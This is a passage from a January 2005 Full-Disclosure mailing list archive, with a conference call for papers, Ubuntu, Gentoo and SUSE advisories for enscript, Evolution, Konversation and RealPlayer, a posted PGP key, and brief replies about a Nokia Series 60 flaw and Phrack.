Heuse, n.runs, Germany Erland Jonsson, Chalmers University of Technology, Sweden Engin Kirda, Technical University Vienna, Austria Hartmut K?nig, Technical University of Cottbus, Germany Klaus-Peter Kossakowski, Presecure, Germany Hannes Lubich, Computer Associates, Switzerland Michael Meier, Technical University of Cottbus, Germany Martin Naedele, ABB Corporate Research, Switzerland Marc Rennhard, ETH Zurich, Switzerland Dirk Schadt, Computer Associates, Germany Robin Sommer, TU M?nchen, Germany Axel Tanner, IBM Research, Switzerland Stephen Wolthusen, Fraunhofer-IGD, Germany IMPORTANT DATES: - FEBRUARY 11, 2005: Deadline for submission of full and industry papers. (** EXTENDED DEADLINE !!! **) - March 4, 2005 : Deadline for submission of panel and tutorial proposals. - March 21, 2005 : Notification of acceptance or rejection. - April 8, 2005 : Final paper camera ready copy due. - July 7 - 8, 2005: DIMVA conference. PAPER SUBMISSIONS AND CONFERENCE REGISTRATION: Submitted full papers must not substantially overlap papers that have been published or that are simultaneously submitted to a journal or a conference with proceedings. Full papers must include an abstract, a list of keywords, and a list of all authors and their affiliations. Committee members are not required to read appendices; thus, papers should be intelligible without them. Submissions must be in English, and in either postscript or PDF format. Authors of accepted papers must guarantee that their papers will be presented at the conference. Plan to give presentations, panels, and tutorials in English. Authors are invited to submit their papers electronically. Details on the electronic submission procedure as well as detailed registration information (including fees, suggested hotels, and travel directions) will be provided by end of December 2004 at the conference Web site at http://www.dimva.org/dimva2005. SPONSORSHIP OPPORTUNITIES: We solicit interested organizations to serve as sponsors for DIMVA 2005; please contact the Sponsor Chair, Mr. Werner Metterhausen, for information regarding corporate sponsorship (mailto: wme at vzm.de). STEERING COMMITTEE: Chairs: Ulrich Flegel (University of Dortmund, Germany), Michael Meier (Technical University of Cottbus, Germany) Roland B?schkes (T-Mobile, Germany), Marc Heuse (n.runs, Germany) From martin.pitt at canonical.com Mon Jan 24 12:13:49 2005 From: martin.pitt at canonical.com (Martin Pitt) Date: Mon, 24 Jan 2005 13:13:49 +0100 Subject: [Full-Disclosure] [USN-68-1] enscript vulnerabilities Message-ID: <20050124121349.GA28337@box79162.elkhouse.de> =========================================================== Ubuntu Security Notice USN-68-1 January 24, 2005 enscript vulnerabilities CAN-2004-1184 CAN-2004-1185 CAN-2004-1186 =========================================================== A security issue affects the following Ubuntu releases: Ubuntu 4.10 (Warty Warthog) The following packages are affected: enscript The problem can be corrected by upgrading the affected package to version 1.6.4-4ubuntu0.1. In general, a standard system upgrade is sufficient to effect the necessary changes. Details follow: Erik Sj?lund discovered several vulnerabilities in enscript which could cause arbitrary code execution with the privileges of the user calling enscript. Quotes and other shell escape characters in titles and file names were not handled in previous versions. (CAN-2004-1184) Previous versions supported reading EPS data not only from a file, but also from an arbitrary command pipe. Since checking for unwanted side effects is infeasible, this feature has been disabled after consultation with the authors of enscript. (CAN-2004-1185) Finally, this update fixes two buffer overflows which were triggered by certain input files. (CAN-2004-1186) These issues can lead to privilege escalation if enscript is called automatically from web server applications like viewcvs. Source archives: http://security.ubuntu.com/ubuntu/pool/universe/e/enscript/enscript_1.6.4-4ubuntu0.1.diff.gz Size/MD5: 15036 d6c873e923c34c39cc144030efc83dd5 http://security.ubuntu.com/ubuntu/pool/universe/e/enscript/enscript_1.6.4-4ubuntu0.1.dsc Size/MD5: 628 711d7f5bbf6018fe56f386a37cfb93ed http://security.ubuntu.com/ubuntu/pool/universe/e/enscript/enscript_1.6.4.orig.tar.gz Size/MD5: 1036734 b5174b59e4a050fb462af5dbf28ebba3 amd64 architecture (Athlon64, Opteron, EM64T Xeon) http://security.ubuntu.com/ubuntu/pool/universe/e/enscript/enscript_1.6.4-4ubuntu0.1_amd64.deb Size/MD5: 482748 5115fde125c8b21aabb0e381ad3d82a8 i386 architecture (x86 compatible Intel/AMD) http://security.ubuntu.com/ubuntu/pool/universe/e/enscript/enscript_1.6.4-4ubuntu0.1_i386.deb Size/MD5: 468824 88d3ae70ced661d02fdbd93178ca4d35 powerpc architecture (Apple Macintosh G3/G4/G5) http://security.ubuntu.com/ubuntu/pool/universe/e/enscript/enscript_1.6.4-4ubuntu0.1_powerpc.deb Size/MD5: 481268 b55c45bcf7cf0a941fb2021a0f8073de -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: Digital signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050124/b7dadb95/attachment.bin From carlos.ulver at gmail.com Mon Jan 24 13:47:11 2005 From: carlos.ulver at gmail.com (Carlos Ulver) Date: Mon, 24 Jan 2005 11:47:11 -0200 Subject: [Full-Disclosure] New PGP key Message-ID: <10c6adab050124054775cf24b7@mail.gmail.com> Hello to all. I had some problems with my old PGP key that is revoked now. I?m sending my new key. Thanks. Carlos A. Ulver -----BEGIN PGP PUBLIC KEY BLOCK----- Version: PGP 8.0.2 - not licensed for commercial use: www.pgp.com mQGiBEH0+e4RBADI9kU3FrR9B+oONBpUVPwPwQ3QpKk/DzDl5KaB/qH1507X81Yl JVj5hjmqEZp62ojKMwBef72J6S7zDi5x0l8Y5RMgBU1hqw3fCHnZ/HEQFbrXg3W0 fv5bEzOLZ5kK33CFU3VJ/ZKnTokuALNKqjN1zj1VkcDsAdf0p5YfnMFExwCg/8Tc SU7ULAVaVRzHnrUx9qy15XMD/jV1XwqpaakBDJ4I6GWb8y1U5LseTogqdVAT+kPo SBe05phLRfhsbXzmqWe3MzbvoKVAk+om0E4I0OKCtBCBmfejF39KKw9R0lRLZsq5 qzbZ72im/zKz9dE7Ot1mxuod/K+l5UL4sSSjpSYQeUFW1MyLaLfg/bqNfIGLdZ70 IikcA/9sVIt5HW2j38pADzaUZNerZEJGN9EKLuRcenXbdWSlPgLA5qnu1nGqxxQY T3h1wsCzcr4T9Bs1Co3gI6C8XBpbF6kIdFeTUKf/1t4jFAzU1/bkr9m77uD93tgC itBX7RxVe3jf+rEnuC64PshWU3oGqVJ23P8AzHLMZZsrq2bolLQtQ2FybG9zIEF1 Z3VzdG8gVWx2ZXIgPGNhcmxvcy51bHZlckBnbWFpbC5jb20+iQBXBBARAgAXBQJB 9PnuBwsJCAcDAgoCGQEFGwMAAAAACgkQRk6XdqqKP+vruQCfYr5vsmjt4zV+hqM1 JBkucJILDs0AoOaCfKPVqY/dgCvqmWP76qnvHNnwuQINBEH0+e4QCAD2Qle3CH8I F3KiutapQvMF6PlTETlPtvFuuUs4INoBp1ajFOmPQFXz0AfGy0OplK33TGSGSfgM g71l6RfUodNQ+PVZX9x2Uk89PY3bzpnhV5JZzf24rnRPxfx2vIPFRzBhznzJZv8V +bv9kV7HAarTW56NoKVyOtQa8L9GAFgr5fSI/VhOSdvNILSd5JEHNmszbDgNRR0P fIizHHxbLY7288kjwEPwpVsYjY67VYy4XTjTNP18F1dDox0YbN4zISy1Kv884bEp QBgRjXyEpwpy1obEAxnIByl6ypUM2Zafq9AKUJsCRtMIPWakXUGfnHy9iUsiGSa6 q6Jew1XpMgs7AAICB/9zfuqNajzD8QD44+MTGkq/37KxHaTxNv6i8ZaBCh5DfZ0v qAVPLl/K0qYrxp/rF3oqZ8QjfkX4s1hNuXwHApT1QXOYgOKz8b44SB6nmAnrqYLB YIiUlL/cpg2zOgnw/ypT44Itv+lXpZRCT8Au+WTLgPwxta4IkX+EN4M5f1QmE/yu oHCCRQ40M3FfRtiuCVHlaAhTxZ53KsImk13nDX3YBB+FAB6YeR1y1Tnh4k1Jo28B TyJssDAGprUabmv0GPPZKQIiCGLGdJETJKEpKcZilUhS+wEcwhxelR99XRZU16Zy OL1r7UOkD9St4Zd56YdujUREb6o/IiWoi8FJ6qkdiQBMBBgRAgAMBQJB9PnuBRsM AAAAAAoJEEZOl3aqij/rv8wAnjJMp+C7CmzF3uPDl3Fc4s/0YaSJAJ0UihbNMzuP J9bzVO6lxyi5MsrTjQ== =LFL7 -----END PGP PUBLIC KEY BLOCK----- From martin.pitt at canonical.com Mon Jan 24 14:19:48 2005 From: martin.pitt at canonical.com (Martin Pitt) Date: Mon, 24 Jan 2005 15:19:48 +0100 Subject: [Full-Disclosure] [USN-69-1] Evolution vulnerability Message-ID: <20050124141948.GA29877@box79162.elkhouse.de> =========================================================== Ubuntu Security Notice USN-69-1 January 24, 2005 evolution vulnerability CAN-2005-0102 =========================================================== A security issue affects the following Ubuntu releases: Ubuntu 4.10 (Warty Warthog) The following packages are affected: evolution The problem can be corrected by upgrading the affected package to version 2.0.2-0ubuntu2.1. In general, a standard system upgrade is sufficient to effect the necessary changes. Details follow: Max Vozeler discovered an integer overflow in camel-lock-helper. An user-supplied length value was not validated, so that a value of -1 caused a buffer allocation of 0 bytes; this buffer was then filled by an arbitrary amount of user-supplied data. A local attacker or a malicious POP3 server could exploit this to execute arbitrary code with root privileges (because camel-lock-helper is installed as setuid root). Source archives: http://security.ubuntu.com/ubuntu/pool/main/e/evolution/evolution_2.0.2-0ubuntu2.1.diff.gz Size/MD5: 50511 bbbfa6cdc735c71fb574a3a12f836a1a http://security.ubuntu.com/ubuntu/pool/main/e/evolution/evolution_2.0.2-0ubuntu2.1.dsc Size/MD5: 1186 1f83476cf5dcbd02bf7b984d3dcf480d http://security.ubuntu.com/ubuntu/pool/main/e/evolution/evolution_2.0.2.orig.tar.gz Size/MD5: 20925198 7b3c1b6b7f67c548d7e45bf2ed7abd0f Architecture independent packages: http://security.ubuntu.com/ubuntu/pool/main/e/evolution/evolution1.5-dev_2.0.2-0ubuntu2.1_all.deb Size/MD5: 16622 2cf68cec4ccb92d5ffd7982602efc08c http://security.ubuntu.com/ubuntu/pool/main/e/evolution/evolution1.5_2.0.2-0ubuntu2.1_all.deb Size/MD5: 39674 850a2060b158ea4e34197f8ec7f6d356 amd64 architecture (Athlon64, Opteron, EM64T Xeon) http://security.ubuntu.com/ubuntu/pool/main/e/evolution/evolution-dev_2.0.2-0ubuntu2.1_amd64.deb Size/MD5: 134284 194ff4092d8e0379dcd21b86af35ae75 http://security.ubuntu.com/ubuntu/pool/main/e/evolution/evolution_2.0.2-0ubuntu2.1_amd64.deb Size/MD5: 10437562 a312639431700cce925f7a1875dfc022 i386 architecture (x86 compatible Intel/AMD) http://security.ubuntu.com/ubuntu/pool/main/e/evolution/evolution-dev_2.0.2-0ubuntu2.1_i386.deb Size/MD5: 134272 1c57a9b6c78e6808b831a65772aefdb9 http://security.ubuntu.com/ubuntu/pool/main/e/evolution/evolution_2.0.2-0ubuntu2.1_i386.deb Size/MD5: 10201710 306466a195cebf0ef513b62836c3dd66 powerpc architecture (Apple Macintosh G3/G4/G5) http://security.ubuntu.com/ubuntu/pool/main/e/evolution/evolution-dev_2.0.2-0ubuntu2.1_powerpc.deb Size/MD5: 134288 4d1607ab2f239fca5516fc8f2fee1fca http://security.ubuntu.com/ubuntu/pool/main/e/evolution/evolution_2.0.2-0ubuntu2.1_powerpc.deb Size/MD5: 10255176 6f832b0fbe274cfc4d9c183df3f98075 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: Digital signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050124/28ea255f/attachment.bin From lewk at gentoo.org Mon Jan 24 14:40:05 2005 From: lewk at gentoo.org (Luke Macken) Date: Mon, 24 Jan 2005 09:40:05 -0500 Subject: [Full-Disclosure] [ GLSA 200501-34 ] Konversation: Various vulnerabilities Message-ID: <20050124144005.GB2746@tomservo.ne1.client2.attbi.c> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200501-34 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: Normal Title: Konversation: Various vulnerabilities Date: January 24, 2005 Bugs: #78712 ID: 200501-34 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======== Konversation contains multiple vulnerabilities that could lead to remote command execution or information leaks. Background ========== Konversation is a user-friendly IRC client for KDE. Affected packages ================= ------------------------------------------------------------------- Package / Vulnerable / Unaffected ------------------------------------------------------------------- 1 net-irc/konversation < 0.15.1 >= 0.15.1 Description =========== Wouter Coekaerts has discovered three vulnerabilites within Konversation: * The Server::parseWildcards function, which is used by the "Quick Buttons", does not properly handle variable expansion (CAN-2005-0129). * Perl scripts included with Konversation do not properly escape shell metacharacters (CAN-2005-0130). * The 'Nick' and 'Password' fields in the Quick Connect dialog can be easily confused (CAN-2005-0131). Impact ====== A malicious server could create specially-crafted channels, which would exploit certain flaws in Konversation, potentially leading to the execution of shell commands. A user could also unintentionally input their password into the 'Nick' field in the Quick Connect dialog, exposing his password to IRC users, and log files. Workaround ========== There is no known workaround at this time. Resolution ========== All Konversation users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=net-irc/konversation-0.15.1" References ========== [ 1 ] CAN-2005-0129 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0129 [ 2 ] CAN-2005-0130 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0130 [ 3 ] CAN-2005-0131 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0131 [ 4 ] KDE Security Advisory: Multiple vulnerabilities in Konversation http://www.kde.org/info/security/advisory-20050121-1.txt Availability ============ This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200501-34.xml Concerns? ========= Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to security at gentoo.org or alternatively, you may file a bug at http://bugs.gentoo.org. License ======= Copyright 2005 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.0 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050124/642d5350/attachment.bin From meissner at suse.de Mon Jan 24 14:54:12 2005 From: meissner at suse.de (Marcus Meissner) Date: Mon, 24 Jan 2005 15:54:12 +0100 Subject: [Full-Disclosure] SUSE Security Announcement: Realplayer 8 (SUSE-SA:2005:004) Message-ID: <41F50C14.mail21911LP96@suse.de> -----BEGIN PGP SIGNED MESSAGE----- ______________________________________________________________________________ SUSE Security Announcement Package: realplayer 8 Announcement-ID: SUSE-SA:2005:004 Date: Monday, Jan 24th 2005 16:00 MET Affected products: 8.1, 8.2, 9.0, 9.1 SUSE Linux Desktop 1.0 Vulnerability Type: remote code execution Severity (1-10): 8 SUSE default package: yes Cross References: none Content of this advisory: 1) security vulnerability discussed: - integer overflow problem description 2) solution/workaround 3) standard appendix (further information) ______________________________________________________________________________ 1) problem description, brief discussion RealPlayer is a combined audio and video player for RealMedia formatted streaming data. These formats are very common throughout the Internet. eEye Security in October 2004 discovered a flaw in the .rm RealMovie stream handling routines which allows a remote attacker to exploit an integer overflow vulnerability using a special .rm file. This might allow a remote attacker to execute code as the user running RealPlayer. Reference URLs for this problems are the Real security advisory: http://service.real.com/help/faq/security/040928_player/EN/ and the eEye security advisory: http://www.eeye.com/html/research/advisories/AD20041001.html SUSE Linux includes RealPlayer as both standalone player and as a plugin for web browsers like Mozilla and Konqueror. This might allow the attacker to just provide a web page or E-Mail linking to the special exploit .rm file. We cannot fully evaluate the impact of this problem due to lack of information and lack of source code to review. SUSE Linux versions up to 9.1 and the SUSE Linux Desktop 1.0 include RealPlayer version 8 and are affected by this problem. SUSE Linux 9.2 and the Novell Linux Desktop 9 include RealPlayer version 10 and are NOT affected by this problem. Real does not offer a fixed version 8 RealPlayer, but suggests upgrading RealPlayer to version 10. However, upgrading Realplayer is not possible for older SUSE Linux products since Realplayer 10 requires newer dynamic library versions than the ones to be found in those products. Also some old Real content is not compatible with the RealPlayer version 10. For these reasons we cannot offer fixed packages for older SUSE Linux based products. 2) solution/workaround We suggest one of the following workarounds: a) De-install RealPlayer Either use YaST to deinstall RealPlayer, or as root do: # rpm -e RealPlayer You will lose the ability to view Real content. b) Remove the RealPlayer plug in As root, execute the following commands: # rm /usr/lib/browser-plugins/raclass.zip # rm /usr/lib/browser-plugins/rpnp.so Content can still be viewed by starting "realplay" and opening URLs, but automatic exploits via web pages or E-Mails are no longer possible. ______________________________________________________________________________ 3) standard appendix: authenticity verification, additional information - Package authenticity verification: SUSE update packages are available on many mirror ftp servers all over the world. While this service is being considered valuable and important to the free and open source software community, many users wish to be sure about the origin of the package and its content before installing the package. There are two verification methods that can be used independently from each other to prove the authenticity of a downloaded file or rpm package: 1) md5sums as provided in the (cryptographically signed) announcement. 2) using the internal gpg signatures of the rpm package. 1) execute the command md5sum after you downloaded the file from a SUSE ftp server or its mirrors. Then, compare the resulting md5sum with the one that is listed in the announcement. Since the announcement containing the checksums is cryptographically signed (usually using the key security at suse.de), the checksums show proof of the authenticity of the package. We recommend against subscribing to security lists that cause the e-mail message containing the announcement to be modified so that the signature does not match after transport through the mailing list software. Downsides: You must be able to verify the authenticity of the announcement in the first place. If RPM packages are being rebuilt and a new version of a package is published on the ftp server, all md5 sums for the files are useless. 2) rpm package signatures provide an easy way to verify the authenticity of an rpm package. Use the command rpm -v --checksig to verify the signature of the package, where is the file name of the rpm package that you have downloaded. Of course, package authenticity verification can only target an uninstalled rpm package file. Prerequisites: a) gpg is installed b) The package is signed using a certain key. The public part of this key must be installed by the gpg program in the directory ~/.gnupg/ under the user's home directory who performs the signature verification (usually root). You can import the key that is used by SUSE in rpm packages for SUSE Linux by saving this announcement to a file ("announcement.txt") and running the command (do "su -" to be root): gpg --batch; gpg < announcement.txt | gpg --import SUSE Linux distributions version 7.1 and thereafter install the key "build at suse.de" upon installation or upgrade, provided that the package gpg is installed. The file containing the public key is placed at the top-level directory of the first CD (pubring.gpg) and at ftp://ftp.suse.com/pub/suse/pubring.gpg-build.suse.de . - SUSE runs two security mailing lists to which any interested party may subscribe: suse-security at suse.com - general/linux/SUSE security discussion. All SUSE security announcements are sent to this list. To subscribe, send an email to . suse-security-announce at suse.com - SUSE's announce-only mailing list. Only SUSE's security announcements are sent to this list. To subscribe, send an email to . For general information or the frequently asked questions (FAQ) send mail to: or respectively. ===================================================================== SUSE's security contact is or . The public key is listed below. ===================================================================== ______________________________________________________________________________ The information in this advisory may be distributed or reproduced, provided that the advisory is not modified in any way. In particular, it is desired that the clear-text signature shows proof of the authenticity of the text. SUSE Linux AG makes no warranties of any kind whatsoever with respect to the information contained in this security advisory. Type Bits/KeyID Date User ID pub 2048R/3D25D3D9 1999-03-06 SuSE Security Team pub 1024D/9C800ACA 2000-10-19 SuSE Package Signing Key - -----BEGIN PGP PUBLIC KEY BLOCK----- Version: GnuPG v1.0.7 (GNU/Linux) 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 =Fv2n - -----END PGP PUBLIC KEY BLOCK----- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iQEVAwUBQfULuXey5gA9JdPZAQFlBQf/TBBqYIAXgwKUKxq9qOpXOLQQ1L+CkTy+ Ck0FIKtH/YrqmfxIudDPQzzvBBQqM530SohAyQT90kz/9L6nxc3n2RgKdu03pUlt mgmE5sOm9ImEM3ror7j+ZzyWcGCFPyC/4SWtHwzTZi1cgcRZwpuxEhBps2C3LO2k QJdUWHlPTcYJVVnqGvxk2ZGokpiVlvMTzLMXJe+Cq0cZIwMS9lB3x+GHdkYDBRES 1m8mgleJN8jpyJRNRMLyKcqTYHOAllDFuC2rte2AajUcxdX87Uxl6X0sBBWwTtNK c+AeKyMzFm4U/mxbjdfS1UOcGnIRAt1nJ2OqYZ9i8AO30y4ooEwTmw== =j1Cu -----END PGP SIGNATURE----- From kf_lists at digitalmunition.com Mon Jan 24 15:29:31 2005 From: kf_lists at digitalmunition.com (KF (lists)) Date: Mon, 24 Jan 2005 10:29:31 -0500 Subject: [Full-Disclosure] 2 vulnerabilities combine to auto execute received files in Nokia series 60 OS In-Reply-To: <3014.203.190.133.11.1106542868.squirrel@203.190.133.11> References: <3014.203.190.133.11.1106542868.squirrel@203.190.133.11> Message-ID: <41F5145B.4070308@digitalmunition.com> so then the bottom line is that there is a bug. When files are being transfered they should also be identified via the content of the file rather than the extension... -KF >The second one is also know feature, the file type is not determinated >from the extension but from the content of the file. So a sis package >renamed to an jpeg file still looks from the inside as a sis package and >so the user is prompted for installation. > > > From purdy at tecman.com Mon Jan 24 15:40:49 2005 From: purdy at tecman.com (Curt Purdy) Date: Mon, 24 Jan 2005 09:40:49 -0600 Subject: [lists] [Full-Disclosure] Phrack is dead, long live Phrack! In-Reply-To: Message-ID: <200501240942609.SM02472@wolfcub3kv> Starwars wrote: > Yes, I am a criminal. My crime is that of curiosity. My crime > is that of judging people by what they say and think, not > what they look like. My crime is that of outsmarting you, > something that you will never forgive me for. > " > > -- A hacker's manifesto, the Mentor, 1986 Been a long time since I read Mentor's words. Good luck to you starwars, I hope you start something. I'd join the effort, but am currently working on my masters in IS and get little sleep as it is. Curt Purdy CISSP, GSEC, CNE, MCSE+I, CCDA Information Security Engineer DP Solutions ----------------------------- If you spend more on coffee than on IT security, you will be hacked. What's more, you deserve to be hacked. -- former White House cybersecurity czar Richard Clarke From Valdis.Kletnieks at vt.edu Mon Jan 24 15:55:24 2005 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Mon, 24 Jan 2005 10:55:24 -0500 Subject: [Full-Disclosure] 2 vulnerabilities combine to auto execute received files in Nokia series 60 OS In-Reply-To: Your message of "Mon, 24 Jan 2005 10:29:31 EST." <41F5145B.4070308@digitalmunition.com> References: <3014.203.190.133.11.1106542868.squirrel@203.190.133.11> <41F5145B.4070308@digitalmunition.com> Message-ID: <200501241555.j0OFtOYa016571@turing-police.cc.vt.edu> On Mon, 24 Jan 2005 10:29:31 EST, "KF (lists)" said: > so then the bottom line is that there is a bug. When files are being > transfered they should also be identified via the content of the file > rather than the extension... 'Those who cannot remember the past, are condemned to repeat it.' -- George Santayana Nokia, there is a call for you on the white courtesy kloo phone... -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 226 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050124/e972de2b/attachment.bin From carlos.ulver at gmail.com Mon Jan 24 16:22:25 2005 From: carlos.ulver at gmail.com (Carlos Ulver) Date: Mon, 24 Jan 2005 